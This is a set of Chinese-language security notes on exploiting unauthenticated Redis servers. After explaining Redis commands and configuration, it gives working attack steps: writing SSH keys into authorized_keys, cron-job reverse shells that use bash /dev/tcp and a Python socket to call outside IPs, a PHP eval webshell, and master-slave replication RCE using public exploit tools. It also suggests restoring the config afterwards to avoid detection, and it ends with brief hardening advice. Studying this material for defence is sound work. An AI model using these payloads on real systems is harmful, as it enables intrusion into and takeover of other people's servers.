以前的筆記
簡介
redis
是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set --有序集合)和hash(哈希類型)。這些數據類型都支持push/pop
、add/remove
及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了master-slave(主從)
同步。
常用命令
set testkey "Hello World" # 設置鍵testkey的值為字符串Hello World
get testkey # 獲取鍵testkey的內容
SET score 99 # 設置鍵score的值為99
INCR score # 使用INCR命令將score的值增加1
GET score # 獲取鍵score的內容
keys * # 列出當前數據庫中所有的鍵
get anotherkey # 獲取一個不存在的鍵的值
config set dir /home/test # 設置工作目錄
config set dbfilename redis.rdb # 設置備份文件名
config get dir # 檢查工作目錄是否設置成功
config get dbfilename # 檢查備份文件名是否設置成功
save # 進行一次備份操作
flushall 刪除所有數據
del key 刪除鍵為key的數據
- 使用SET和GET命令,可以完成基本的賦值和取值操作;
- Redis是不區分命令的大小寫的,set和SET是同一個意思;
- 使用keys *可以列出當前數據庫中的所有鍵;
- 當嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil);
- 如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World";
配置文件解析
在啟動Redis服務器進程的時候,可以通過命令行參數指定一個配置文件,這樣服務器進程就可以根據配置文件中設定的參數值來運行了。在redis-3.0.1目錄下有一個redis.conf文件,這是一個默認的配置文件。
詳解https://blog.csdn.net/weixin_42425970/article/details/94132652
port
格式為port后面接端口號,如port 6379,表示Redis服務器將在6379端口上進行監聽來等待客戶端的連接。
bind
格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表示同時綁定在192.168.1.100和10.0.0.1兩個IP地址上。如果沒有指定bind參數,則綁定在本機的所有IP地址上。
save
格式為save <秒數> <變化數>,表示在指定的秒數內數據庫存在指定的改變數時自動進行備份(Redis是內存數據庫,這里的備份就是指把內存中的數據備份到磁盤上)。可以同時指定多個save參數,如:
save 900 1
save 300 10
save 60 10000
表示如果數據庫的內容在60秒后產生了10000次改變,或者300秒后產生了10次改變,或者900秒后產生了1次改變,那么立即進行備份操作。
requirepass
格式為requirepass后接指定的密碼,用於指定客戶端在連接Redis服務器時所使用的密碼。Redis默認的密碼參數是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數據庫。
dir
格式為dir后接指定的路徑,默認為dir ./,指明Redis的工作目錄為當前目錄,即redis-server文件所在的目錄。注意,Redis產生的備份文件將放在這個目錄下。
dbfilename
格式為dbfilename后接指定的文件名稱,用於指定Redis備份文件的名字,默認為dbfilename dump.rdb,即備份文件的名字為dump.rdb。
config
通過config命令可以讀取和設置dir參數以及dbfilename參數,因為這條命令比較危險(實驗將進行詳細介紹),所以Redis在配置文件中提供了rename-command參數來對其進行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認是沒有對CONFIG命令進行重命名操作的。
利用原理
Redis有兩種持久化的方式:快照(RDB文件)和追加式文件(AOF文件):
- RDB持久化方式會在一個特定的間隔保存那個時間點的一個數據快照。
- AOF持久化方式則會記錄每一個服務器收到的寫操作。在服務啟動時,這些記錄的操作會逐條執行從而重建出原來的數據。寫操作命令記錄的格式跟Redis協議一致,以追加的方式進行保存。
- Redis的持久化是可以禁用的,就是說你可以讓數據的生命周期只存在於服務器的運行時間里。
- 兩種方式的持久化是可以同時存在的,但是當Redis重啟時,AOF文件會被優先用於重建數據。
AOF備份文件名默認為appendonly.aof
,可以在配置文件中的appendfilename
設置其他名稱,通過測試發現不能在客戶端交互中動態設置appendfilename
,所以不能通過AOF方式備份寫任意文件.
RDB方式備份數據庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態設置dbfilename來更改,造成可以寫任意文件.
環境搭建
#下載源碼:
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar -zxvf redis-5.0.5.tar.gz
cd redis-5.0.5
make
#啟動redis服務
cd src
./redis-server
可以指定配置文件啟動(若不指定則以默認的配置文件啟動):
./redis-server /etc/redis/redis.conf
配置文件:
安全模式起作用需要同時滿足倆個條件:
(1) redis沒有開啟登錄認證
(2) redis沒有綁定到某個ip地址或ip段
從3.2.0版本開始,當Redis使用缺省的配置並且沒有密碼保護的時,我們稱之為保護模式。
redis默認是未開啟登錄認證,開啟安全模式的.
綁定0.0.0.0 開啟安全模式
啟動redis
連接可以發現安全模式並沒有起作用,可以執行命令
不綁定IP地址 開啟安全模式
能連接上,但是無法執行命令
不綁定IP地址 關閉安全模式
可以執行命令
總結
造成未授權訪問有兩種情況:
- 未開啟登錄驗證,並且把IP綁定到0.0.0.0
- 未開啟登錄驗證,沒有設置綁定IP,
protected-mode
關閉
利用
0x01 寫SSH-keygen
原理
SSH提供兩種登錄驗證方式,一種是口令驗證也就是賬號密碼登錄,另一種是密鑰驗證。
所謂密鑰驗證,其實就是一種基於公鑰密碼的認證,使用公鑰加密、私鑰解密(非對稱),其中公鑰是可以公開的,放在服務器端,你可以把同一個公鑰放在所有你想SSH遠程登錄的服務器中,而私鑰是保密的只有你自己知道,公鑰加密的消息只有私鑰才能解密,大體過程如下:
(1)客戶端生成私鑰和公鑰,並把公鑰拷貝給服務器端; (2)客戶端發起登錄請求,發送自己的相關信息; (3)服務器端根據客戶端發來的信息查找是否存有該客戶端的公鑰,若沒有拒絕登錄,若有則生成一段隨機數使用該公鑰加密后發送給客戶端; (4)客戶端收到服務器發來的加密后的消息后使用私鑰解密,並把解密后的結果發給服務器用於驗證; (5)服務器收到客戶端發來的解密結果,與自己剛才生成的隨機數比對,若一樣則允許登錄,不一樣則拒絕登錄。
利用條件
- root賬號啟動redis服務
- 服務器開放SSH服務,允許密鑰登錄。
實驗
-
攻擊機上生成公私鑰
-
未授權訪問redis
-
利用redis的數據備份功能修改備份目錄為 /redis/.ssh/ 備份文件名為 authorized_keys
-
寫入鍵值
-
ssh連接
舒服了
0x02 寫計划任務反彈shell
用戶定義的設置,位於文件:/var/spool/cron/用戶名
原理
/var/spool/cron/目錄下存放的為以各個用戶命名的計划任務文件,root用戶可以修改任意用戶的計划任務。dbfilename設置為root為用root用戶權限執行計划任務。
執行命令反彈shell(寫計划任務時會覆蓋原來存在的用戶計划任務).寫文件之前先獲取dir和dbfilename的值,以便恢復redis配置,將改動降到最低,避免被發現。
利用條件
redis是root用戶啟動
實驗
坑:crontab反彈debian,ubuntu都不行,因為他們對計划任務的格式很嚴格,必須要執行
crontab -u root /var/spool/cron/crontabs/root
通過語法檢查后,才能執行計划任務。
連接redis
redis-cli -h 106.12.172.25
執行
#獲取dir的值
config get dir
#獲取dbfilename的值
config get dbfilename
#設置數據庫備份目錄為linux計划任務目錄
config set dir '/var/spool/cron/'
#設置備份文件名為root,以root身份執行計划任務
config set dbfilename 'root'
#刪除所有數據庫的所有key
flushall
#設置寫入的內容,在計划任務前后加入換行以確保寫入的計划任務可以被正常解析,此處可以直接調用lua語句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/106.54.229.29/8080 0>&1'
#保存
save
#刪除新增的key
del cron
#恢復dir和dbfilename
config set dir '***'
config set dbfilename '***'
- 登陸redis創建crontab定時任務
telnet x.x.x.x 6379 //未授權登錄
config set dir /var/spool/cron/ //配置文件夾的路徑(CONFIG SET 命令可以動態地調整 Redis 服務器的配置而(configuration)而無須重啟。)//每個用戶生成的crontab文件,都會放在 /var/spool/cron/ 目錄下面
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n" //直接往當前用戶的crontab里寫入反彈shell,換行是必不可少的。
- nc監聽反彈shell
Crontab反彈shell
set 1 "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
config set dir /var/spool/cron/
config set dbfilename root
savephp反彈shell
<?php
$redis = new Redis();
$redis->connect('127.0.0.1',6379);
$redis->auth("password");
$redis->flushall();
$redis->config("SET","dir","/var/spool/cron/");
$redis->config("SET","dbfilename","root");
$redis->set("0","\n\n*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n");
$redis->save();
?>
攻擊上監聽對應端口就行了
Ubuntu上寫入會發現沒有反彈成功
因為通過不了語法檢查,redis在寫入文件時會帶一些頭,然后就無法執行
crontab的文件格式
分 時 日 月 星期 要運行的命令
第1列分鍾0~59
第2列小時0~23(0表示子夜)
第3列日1~31
第4列月1~12
第5列星期0~7(0和7表示星期天)
第6列要運行的命令
crontab文件一些例子
30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重啟apache。
45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重啟apache。
10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重啟apache。
0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示在每天18 : 00至23 : 00之間每隔30分鍾重啟apache。
0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每星期六的11 : 00 pm重啟apache。
* */1 * * * /usr/local/etc/rc.d/lighttpd restart
每一小時重啟apache
* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart
晚上11點到早上7點之間,每隔一小時重啟apache
0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart
每月的4號與每周一到周三的11點重啟apache
0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart
一月一號的4點重啟apache
自己crontab -e
創建的話還是可以的
0x03 寫webshell
利用條件
- 已知web的絕對路徑
- 具有讀寫權限
不知道絕對路徑時可以嘗試目錄爆破看下是否存在phpinfo文件,也可以嘗試apache的默認路徑:/var/www/html/
redis-cli -h 192.168.1.154
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
0x04 利用主從復制獲取shell
Redis支持主從同步。數據可以從主服務器向任意數量的從服務器上同步,從服務器可以是關聯其他從服務器的主服務器。這使得Redis可執行單層樹復制。存盤可以有意無意的對數據進行寫操作。由於完全實現了發布/訂閱機制,使得從數據庫在任何地方同步樹時,可訂閱一個頻道並接收主服務器完整的消息發布記錄。同步對讀取操作的可擴展性和數據冗余很有幫助。
原理
在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。
然后在從機上加載so文件,我們就可以執行拓展的新命令了。
實驗
下載利用腳本
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
舒服了
詳細分析:https://paper.seebug.org/975/#redis
腳本工具
利用
https://github.com/00theway/redis_exp
檢測
https://github.com/Ridter/hackredis
防護
- 禁止一些高危命令
- 以低權限運行 Redis 服務
- 為 Redis 添加密碼驗證
- 禁止外網訪問 Redis
- 修改默認端口
- 保證 authorized_keys 文件的安全
- 設置防火牆策略
總結
Windows下如何getshell?
- 寫入webshell,需要知道web路徑
- 寫入啟動項,需要目標服務器重啟
- 寫入MOF,MOF每隔5秒鍾會自動執行一次,適用於Windows2003。
實戰在生產環境下用還是會有很多問題的
- redis數據量稍微大一點,寫shell到文件之后,php因為文件太大是會拒絕執行的
- Ubuntu,Debian寫計划任務反彈無用
- 寫/etc/passwd會覆蓋原有/etc/passwd,不可能改了再改回來
- 生產環境下用
KEY *
這樣的命令直接炸
參考
https://paper.seebug.org/975/#redis
https://www.freebuf.com/vuls/148758.html
https://www.t00ls.net/viewthread.php?tid=54620&extra=&page=1
https://damit5.com/2018/05/18/Redis未授權訪問漏洞利用